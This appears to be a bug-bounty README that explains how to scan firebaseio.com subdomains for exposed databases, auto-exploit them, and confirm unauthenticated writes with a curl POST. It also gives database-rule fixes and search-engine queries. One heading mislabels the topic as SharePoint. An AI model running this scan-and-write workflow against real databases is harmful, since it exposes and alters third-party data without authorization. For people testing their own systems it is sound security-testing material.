Firebase Subdomain Enumeration & PoC Testing

This repository provides a workflow to find subdomains of firebaseio.com, test them for public accessibility, and exploit a .json endpoint to check for write vulnerabilities. Additionally, mitigation steps are provided to fix the issue.

⌛ Requirements

• Subfinder

• Httpx

• Curl

• Firebase Exploiter

🔍 Workflow

✅ Subdomain Enumeration

Use subfinder to enumerate subdomains for firebaseio.com:

subfinder -d firebaseio.com -o subdomains.txt

✅ Test Subdomains

Once subdomains are collected, use httpx to check .json endpoints for accessible responses (HTTP status code 200):

httpx -l subdomains.txt -path "/.json" -mc 200 -o valid_subdomains.txt

✅ Firebase Checking vulnerability (Automatic Scanning & Exploit)

firebaseExploiter -file subdomains.txt

✅ PoC Testing

Use curl to send a POST request to the .json endpoint to test if data can be written without authentication:

curl -X POST https://<subdomain>.firebaseio.com/.json -d '{"test":"poc"}' -H "Content-Type: application/json"

If successful, the server is vulnerable to unauthenticated write access.

🔨 How to Fix it :

To secure the Firebase database:

1. Set Firebase Database Rules:

   • Open the Firebase Console.

   • Go to Database > Rules.

   • Update the rules to restrict access only to authenticated users. Example:

     {
       "rules": {
         ".read": "auth != null",
         ".write": "auth != null"
       }
     }

2. Audit Subdomains:

   • Ensure there are no unused or publicly misconfigured Firebase databases.

3. Monitor Activity Logs:

   • Use Firebase to monitor access logs for suspicious activities.

📝 Alternative Methods to Identify SharePoint Sites

Using Search Engines

• FOFA: Query: "domain="firebaseio.com""

• Shodan: Query: http.title:"Firebase""

• ZoomEye: Query: site:"firebaseio.com""

⭐ References

Here are real-world examples of Firebaseio vulnerabilities reported on HackerOne :

• HackerOne Report 1065134

• HackerOne Report 1447751

• HackerOne Report 736283

• HackerOne Report 684099

⚠️ Disclaimer

This script is intended for educational purposes and for security testing of systems you own or have explicit permission to test. Do not use this for unauthorized activities.

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